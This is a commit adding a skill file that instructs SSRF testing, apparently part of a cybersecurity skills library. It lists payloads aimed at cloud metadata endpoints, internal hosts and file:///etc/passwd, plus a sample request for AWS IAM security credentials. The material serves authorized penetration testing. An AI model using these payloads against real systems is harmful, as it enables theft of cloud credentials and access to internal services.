Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills

Complete skill folder anatomy across all cybersecurity skills:
- scripts/agent.py: 80-150 line Python agents using real libraries (impacket,
  boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.)
- references/api-reference.md: real API documentation with method signatures
- LICENSE: MIT license for all skill folders

skills/performing-ssrf-vulnerability-exploitation/SKILL.md

@@ -0,0 +1,33 @@
+---
+name: performing-ssrf-vulnerability-exploitation
+description: >-
+  Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints,
+  internal network services, and protocol handlers through user-controllable URL parameters.
+  Tests AWS/GCP/Azure metadata APIs (169.254.169.254), internal port scanning via HTTP,
+  URL scheme bypass techniques, and DNS rebinding detection.
+---
+
+## Instructions
+
+1. Install dependencies: `pip install requests`
+2. Identify URL parameters in the target application that accept URLs or hostnames.
+3. Test SSRF payloads:
+   - Cloud metadata: `http://169.254.169.254/latest/meta-data/`
+   - Internal services: `http://127.0.0.1:port/`, `http://10.0.0.1/`
+   - Protocol handlers: `file:///etc/passwd`, `gopher://`, `dict://`
+   - Bypass techniques: IP encoding, DNS rebinding, URL redirects
+4. Analyze responses for information disclosure or internal access confirmation.
+5. Generate a vulnerability assessment report.
+
+```bash
+# For authorized penetration testing and lab environments only
+python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json
+```
+
+## Examples
+
+### AWS Metadata SSRF
+```
+GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
+```
+If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.